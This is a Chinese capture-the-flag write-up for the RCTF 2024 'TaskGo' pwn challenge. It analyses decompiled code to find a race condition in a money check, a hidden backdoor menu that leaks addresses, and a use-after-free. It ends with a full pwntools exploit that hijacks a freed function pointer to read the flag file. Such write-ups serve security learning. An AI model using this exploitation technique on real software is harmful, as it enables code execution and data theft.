-
-
[原创]RCTF-2024-TaskGo
-
发表于: 2024-5-29 17:41 2455
-
Taskgo
很久不打 CTF 比赛了,感觉现在的 Pwn 对代码审计和 Fuzz ,信息收集(相关的CVE)和逆向能力要求越来越高了。
逆向分析
main
main函数利用PostTask提交CtfMain()任务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | v13 = g_main_thread_task_runner; base::Location::Current((base::Location * )v19, "main" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 217 ); v14 = operator new( 0x30uLL ); base::internal::BindStateBase::BindStateBase( v14, base::internal::Invoker<base::internal::FunctorTraits<void ( * &&)(void)>,base::internal::BindState<false,true,false,void ( * )(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void ( * )(void)>::Destroy); * (_QWORD * )(v14 + 32 ) = CtfMain; base::TaskRunner::PostTask(v13, v19, v14); base::Location::Current((base::Location * )v19, "main" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 219 ); base::RunLoop::Run((base::RunLoop * )v21, (const base::Location * )v19); base::RunLoop::~RunLoop((base::RunLoop * )v21); base::Thread::Options::~Options((base::Thread::Options * )v26); base::Thread::~Thread((base::Thread * )v20); |
CtfMain
CtfMain函数内,利用GetName函数在g_player结构体内存储名字,保存在g_player[0]上,g_player[6]保存了money。然后通过PostTask跑MainStmt()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | __int64 CtfMain(void) { [...] GetName(); v3 = (__int128 * )g_player; * ((_DWORD * )v3 + 6 ) = 10000 ; / / money [...] v7 = g_main_thread_task_runner; base::Location::Current((base::Location * )v10, "CtfMain" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 178 ); v8 = operator new( 0x30uLL ); base::internal::BindStateBase::BindStateBase( v8, base::internal::Invoker<base::internal::FunctorTraits<void ( * &&)(void)>,base::internal::BindState<false,true,false,void ( * )(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void ( * )(void)>::Destroy); * (_QWORD * )(v8 + 0x20 ) = MainStmt; return base::TaskRunner::PostTask(v7, v10, v8); } |
MainStmt
这是程序的主菜单,功能如下:
(1) Rapidly advancing in the rapids.
子功能:1. Wooden Boat.; 2. Silver Boat.; 3. Golden Boat.
(2) Magic Castle.
子功能:1. Buy Magic Scroll.; 2. Drop Magic Scroll.; 3. Learning Magic Scroll.; 1337. Gods(需满足一定条件)
。
(3) Show Money.
(4) exit(0)
RapidAdvanceMenu
通过PostTask跑RapidAdvance::PickHandle()函数来进行选择处理,这里可以看出,v13+0x20是任务,v13+0x28保存了参数。将Repeat放进任务队列,Repeat又将MainStmt放进任务队列,这里存在潜在的条件竞争风险,因为money并不是原子数,可能存在竞争风险导致溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | v13 = operator new( 0x30uLL ); base::internal::BindStateBase::BindStateBase( v13, base::internal::Invoker<base::internal::FunctorTraits<void ( * &&)( int ), int &&>,base::internal::BindState<false,true,false,void ( * )( int ), int >,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void ( * )(void)>::Destroy); * (_QWORD * )(v13 + 0x20 ) = RapidAdvance::PickHandle; * (_DWORD * )(v13 + 0x28 ) = v18[ 0 ]; base::TaskRunner::PostTask(v12, v17, v13); v14 = g_main_thread_task_runner; base::Location::Current( (base::Location * )v17, "RapidAdvanceMenu" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 110 ); v15 = operator new( 0x30uLL ); base::internal::BindStateBase::BindStateBase( v15, base::internal::Invoker<base::internal::FunctorTraits<void ( * &&)(void)>,base::internal::BindState<false,true,false,void ( * )(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void ( * )(void)>::Destroy); * (_QWORD * )(v15 + 32 ) = Repeat; return base::TaskRunner::PostTask(v14, v17, v15); |
接下来进入RapidAdvance::PickHandle()函数,输入 1 后,CheckMoney的返回值不等于 0 会调用 RapidAdvance::StartRA()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | __int64 __fastcall RapidAdvance::PickHandle(RapidAdvance * this) { [...] v17[ 0 ] = result; if ( (_DWORD)this = = 3 ) { [...] v9 = (Player * )&g_player; v10 = 10000 ; } else { if ( (_DWORD)this ! = 2 ) { if ( (_DWORD)this = = 1 ) { v5 = (Player * )&g_player; result = Player::CheckMoney(v5, 0x64u ); if ( (_BYTE)result ) return RapidAdvance::StartRA((RapidAdvance * )((char * )&qword_60 + 4 )); } return result; } [...] v9 = (Player * )&g_player; v10 = 1000 ; } else { v10 = 1000 ; } } result = Player::CheckMoney(v9, v10); if ( (_BYTE)result ) { v14 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You finish the game. Hope your next visit." , 42LL ); [...] return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v14); } return result; } |
StartRA
通过PostTask启动FiveStar,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | __int64 __fastcall RapidAdvance::StartRA(RapidAdvance * this) { if ( (_DWORD)this = = 100 ) { v1 = g_main_thread_task_runner; base::Location::Current((base::Location * )v7, "StartRA" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 276 ); v2 = operator new( 0x30uLL ); base::internal::BindStateBase::BindStateBase( v2, base::internal::Invoker<base::internal::FunctorTraits<void ( * &&)(void)>,base::internal::BindState<false,true,false,void ( * )(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void ( * )(void)>::Destroy); * (_QWORD * )(v2 + 0x20 ) = FiveStar; base::TaskRunner::PostTask(v1, v7, v2); } v3 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You finish the game. Hope your next visit." , 42LL ); return 0LL ; } |
进入FiveStart后,调试时发现其进入的时 v12<0 这个分支,将src[0]的内容复制给v7+0x28指向的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | __int64 FiveStar(void) { * (_OWORD * )src = 0LL ; v12 = 0LL ; std::__Cr::operator>><char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>(&std::__Cr::cin, src); [...] v6 = g_io_thread_task_runner; base::Location::Current((base::Location * )v10, "FiveStar" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 270 ); v7 = operator new( 0x40uLL ); [...] * (_QWORD * )(v7 + 0x20 ) = NoteStar; v8 = (_OWORD * )(v7 + 0x28 ); / / v8 - >v7 + 0x28 if ( v12 < 0 ) { std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external( v8, src[ 0 ]); } else { * (_QWORD * )(v7 + 0x38 ) = v12; * v8 = * (_OWORD * )src; } result = base::TaskRunner::PostTask(v6, v10, v7); if ( v12 < 0 ) return free(src[ 0 ]); return result; } |
CheckMoney
CheckMoney 调用了 sleep(1) 存在窗口时间,并且可以看到堆 money 的操作也并不是原子的,此时上面令起的Repeat任务早已开始运行了,我们此时可以利用这个等待时间购买其他东西,导致money整数溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | bool __fastcall Player::CheckMoney(Player * this, unsigned int cost) { v2 = (__int128 * )g_player; v3 = * ((_DWORD * )v2 + 6 ); if ( v3 > = cost ) { [...] sleep( 1u ); / / 窗口时间,并且此时未更改money值 v8 = (__int128 * )g_player; [...] v12 = * ((_DWORD * )v8 + 6 ) - cost; v13 = (__int128 * )g_player; * ((_DWORD * )v13 + 6 ) = v12; v14 = (__int128 * )g_player; v15 = std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::insert( v22, 0LL , "\n[!] OK, now you money is : " , 28LL ); if ( v25 < 0 ) { free(v24); if ( v23 > = 0 ) return v3 > = cost; } else if ( v23 > = 0 ) { return v3 > = cost; } free(v22[ 0 ]); return v3 > = cost; } v9 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "Don't have e enough money." , 26LL ); return v3 > = cost; } |
MagicCastleMenu
调用 MagicCastle::SwitchHandle(v16) 处理选择,然后令起任务MainStmt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | __int64 MagicCastleMenu(void) { [...] LODWORD(v16) = - 1431655766 ; std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v16); [...] MagicCastle::SwitchHandle((MagicCastle * )(unsigned int )v16); v12 = g_main_thread_task_runner; base::Location::Current((base::Location * )v15, "Repeat" , "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc" , 134 ); v13 = operator new( 0x30uLL ); base::internal::BindStateBase::BindStateBase( v13, base::internal::Invoker<base::internal::FunctorTraits<void ( * &&)(void)>,base::internal::BindState<false,true,false,void ( * )(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void ( * )(void)>::Destroy); * (_QWORD * )(v13 + 0x20 ) = MainStmt; return base::TaskRunner::PostTask(v12, v15, v13); } |
MagicCastle::SwitchHandle
可以看到一个隐藏后门 输入1337后,如果*(_BYTE *)(g_player + 0x1CLL) == 7
会进入MagicHeld::Gods函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | void __fastcall MagicCastle::SwitchHandle(MagicCastle * this) { if ( ( int )this < = 2 ) { if ( (_DWORD)this = = 1 ) { if ( g_magiccastle < = 1uLL ) { this = (MagicCastle * )&g_magiccastle; if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 * )&g_magiccastle) ) { this = (MagicCastle * )&g_magiccastle; base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL ); } } MagicCastle::BuyMS(this); } else if ( (_DWORD)this = = 2 ) { if ( g_magiccastle < = 1uLL ) { this = (MagicCastle * )&g_magiccastle; if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 * )&g_magiccastle) ) { this = (MagicCastle * )&g_magiccastle; base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL ); } } MagicCastle::DropMS(this); } return ; } if ( (_DWORD)this ! = 3 ) { if ( (_DWORD)this ! = 1337 ) return ; v1 = (__int128 * )g_player; [...] v18[ 0 ] = * ((_BYTE * )v1 + 0x1C ); [...] v6 = (__int128 * )g_player; if ( g_player < = 1uLL ) { if ( !(unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 * )&g_player) ) { [...] if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 * )&g_player) ) { [...] LABEL_31: if ( * ((_BYTE * )v7 + 0x1C ) = = 7 ) { LABEL_32: / / 根据提示来看,这里也存在条件竞争。 v8 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "\x1B[31m [!] The system is currently recording you name, Please wait 5s... \x1B[0m" , 76LL ); v11 = (void (__fastcall * * * )(_QWORD, char * , _QWORD * , __int64))g_io_thread_task_runner; [...] v12 = (__int128 * )g_player; [...] v16 = * ((_QWORD * )v12 + 4 ); / / magic_cast [...] v17 = (_QWORD * )operator new( 0x38uLL ); [...] v17[ 4 ] = MagicHeld::Gods; v17[ 5 ] = 0LL ; v17[ 6 ] = v16; ( * * v11)(v11, v18, v17, 3000000LL ); return ; } goto LABEL_41; } if ( * (_BYTE * )(g_player + 0x1CLL ) = = 7 ) goto LABEL_32; / / 如果条件成立进入调用Gods LABEL_41: v13 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You are not qualified!" , 22LL ); goto LABEL_42; } } [...] LABEL_19: if ( g_magiccastle < = 1uLL ) { this = (MagicCastle * )&g_magiccastle; if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 * )&g_magiccastle) ) { this = (MagicCastle * )&g_magiccastle; base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL ); } } MagicCastle::LearningMS(this); } |
MagicHeld::Gods
根据上面的参数传递来看,参数this = v17[6] = v16 = *((_QWORD *)v12 + 4); // magic_cast;,根据提示,这里也存在条件竞争。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | __int64 __fastcall MagicHeld::Gods(const void * * this) { printf( "%p\n" , &system); printf( "%p\n" , this[ 5 ]); v1 = (__int64 (__fastcall * )(__int128 * ))this[ 5 ]; v2 = (__int128 * )g_player; [...] if ( * ((char * )v2 + 0x17 ) > = 0 ) { LABEL_5: v5 = * ((_QWORD * )v2 + 2 ); dest = * v2; goto LABEL_8; } LABEL_7: std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external( &dest, * (void * * )v2); LABEL_8: result = v1(&dest); if ( v5 < 0 ) return free(dest); return result; } |
MagicCastle::BuyMS(this)
有三个选项,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | __int64 __fastcall MagicCastle::BuyMS(MagicCastle * this) { v21 = - 1431655766 ; v1 = (__int128 * )g_player; [...] if ( * ((_QWORD * )v1 + 4 ) ) { LABEL_5: v2 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You already possess a magic, hurry up and learn it." , 51LL ); [...] return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v2); } std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v21); switch ( v21 ) { case 3u : [...] result = Player::CheckMoney(v18, 0x1869Fu ); if ( (_BYTE)result ) { v19 = (__int128 * )g_player; [...] result = operator new( 0x30uLL ); BYTE7(v22[ 1 ]) = 21 ; if ( v22 > (_OWORD * ) "Magic Scroll of Stone" || (char * )&v22[ 1 ] + 5 < = "Magic Scroll of Stone" ) { strcpy((char * )v22, "Magic Scroll of Stone" ); * (_QWORD * )result = off_124FF0; * (_QWORD * )(result + 0x28 ) = Log; * (_OWORD * )(result + 8 ) = v22[ 0 ]; * (_QWORD * )(result + 0x18 ) = * (_QWORD * )&v22[ 1 ]; * (_BYTE * )(result + 0x20 ) = 4 ; goto LABEL_44; } } break ; case 2u : result = Player::CheckMoney(v18, 0x2710u ); if ( (_BYTE)result ) { v19 = (__int128 * )g_player; result = operator new( 0x30uLL ); BYTE7(v22[ 1 ]) = 21 ; if ( v22 > (_OWORD * ) "Magic Scroll of Water" || (char * )&v22[ 1 ] + 5 < = "Magic Scroll of Water" ) { strcpy((char * )v22, "Magic Scroll of Water" ); * (_QWORD * )result = off_124FF0; * (_QWORD * )(result + 0x28 ) = Log; * (_OWORD * )(result + 8 ) = v22[ 0 ]; * (_QWORD * )(result + 0x18 ) = * (_QWORD * )&v22[ 1 ]; * (_BYTE * )(result + 0x20 ) = 2 ; goto LABEL_44; } } break ; case 1u : result = Player::CheckMoney(v18, 0x2710u ); if ( (_BYTE)result ) { v19 = (__int128 * )g_player; result = operator new( 0x30uLL ); BYTE7(v22[ 1 ]) = 21 ; if ( v22 > (_OWORD * ) "Magic Scroll of Flame" || (char * )&v22[ 1 ] + 5 < = "Magic Scroll of Flame" ) { strcpy((char * )v22, "Magic Scroll of Flame" ); * (_QWORD * )result = off_124FF0; * (_QWORD * )(result + 0x28 ) = Log; * (_OWORD * )(result + 8 ) = v22[ 0 ]; * (_QWORD * )(result + 0x18 ) = * (_QWORD * )&v22[ 1 ]; * (_BYTE * )(result + 0x20 ) = 1 ; LABEL_44: v20 = * ((_QWORD * )v19 + 4 ); * ((_QWORD * )v19 + 4 ) = result; if ( v20 ) return ( * (__int64 (__fastcall * * )(__int64))( * (_QWORD * )v20 + 8LL ))(v20); return result; } goto LABEL_46; } break ; } return result; } |
MagicCastle::LearningMS(this)
这里发现可以改变g_player+0x1c的值,根据magic_cast的0x20的值做与运算,而我们正好可以利用 1, 2, 4 将其改为7,从而进入Gods函数,进行条件竞争的利用。
1 2 3 4 5 6 7 8 9 10 | __int64 __fastcall MagicCastle::LearningMS(MagicCastle * this) { v1 = (__int128 * )g_player; v2 = (__int128 * )g_player; [...] / / 调试发现其为 MagicHeld::GetTalent(),取出 * ((unsigned __int8 * )this + 0x20 ); result = ( * (__int64 (__fastcall * * )(_QWORD))( * * ((_QWORD * * )v2 + 4 ) + 0x18LL ))( * ((_QWORD * )v2 + 4 )); * ((_BYTE * )v1 + 0x1C ) | = result; return result; } |
MagicCastle::DropMS
这里将0x30大小的magic_cast释放了,而在Gods函数里面我们会申请一个0x40大小的堆块,可以尝试利用条件竞争修改已经释放的Cast,将其保存的Log函数为BackDoor函数(题目给的一个用于读取文件的函数)或者system函数地址。Gods函数调用了v1(&g_player),如果名字为flag或cat flag,那麽就调用了BackDoor("flag")或者system("cat flag")。
1 2 3 4 5 6 7 8 9 10 11 12 | __int64 __fastcall MagicCastle::DropMS(MagicCastle * this) { v8[ 0 ] = v1; [...] v6 = (__int128 * )g_player; v7 = * ((_QWORD * )v6 + 4 ); * ((_QWORD * )v6 + 4 ) = 0LL ; if ( v7 ) / / 调试发现其为 MagicHeld::~MagicHeld() return ( * (__int64 (__fastcall * * )(__int64))( * (_QWORD * )v7 + 8LL ))(v7); return result; } |
但在调试中发现,Gods中申请的堆块与magic_cast并不是同一堆块且相隔很远,cyclic() 测距时,偏移为0x28,并且在cin结束后就已经读入到释放掉的magic_cast中原来Log的位置了,可能go在cin变长读取时在堆上申请了缓冲区。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | from pwncli import * context.terminal = [ 'tmux' , 'splitw' , '-h' ] context.binary = './ctf' context.log_level = 'debug' gift.io = process( './ctf' ) # gift.io = remote('127.0.0.1', 13337) gift.elf = ELF( './ctf' ) io: tube = gift.io elf: ELF = gift.elf # one_gadgets: list = get_current_one_gadget_from_libc(more=False) # CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False) def debug(gdbscript = "", stop = False ): if isinstance (io, process): gdb.attach(io, gdbscript = gdbscript) if stop: pause() # 1. Rapidly advancing in the rapids. # 2. Magic Castle. # 3. Show Money. # 4. Quit. # >> def cmd(i): sla(b ">> " , str (i).encode()) def wooden(): cmd( 1 ) cmd( 1 ) def silver(): cmd( 1 ) cmd( 2 ) def golden(): cmd( 1 ) cmd( 3 ) def buyMs(idx): cmd( 2 ) cmd( 1 ) cmd(idx) def dropMs(): cmd( 2 ) cmd( 2 ) def learningMs(): cmd( 2 ) cmd( 3 ) def god(): cmd( 2 ) cmd( 1337 ) def show(): cmd( 3 ) def get_gods(): global backdoor golden() buyMs( 1 ) learningMs() dropMs() buyMs( 2 ) learningMs() dropMs() buyMs( 3 ) learningMs() show() god() ru(b "0x" ) ru(b "0x" ) # 0xBA0-0x950 backdoor = int (r( 12 ), 16 ) + 0x250 success( "backdoor = " + hex (backdoor)) sleep( 1 ) def get_flag(): sl( "2" ) cmd( 1337 ) dropMs() wooden() sla(b "visit." ,b "5" ) sla(b "Comments: " , b 'a' * 0x28 + p64(backdoor)) sla(b 'name: ' , b './flag' ) get_Gods() get_flag() ia() |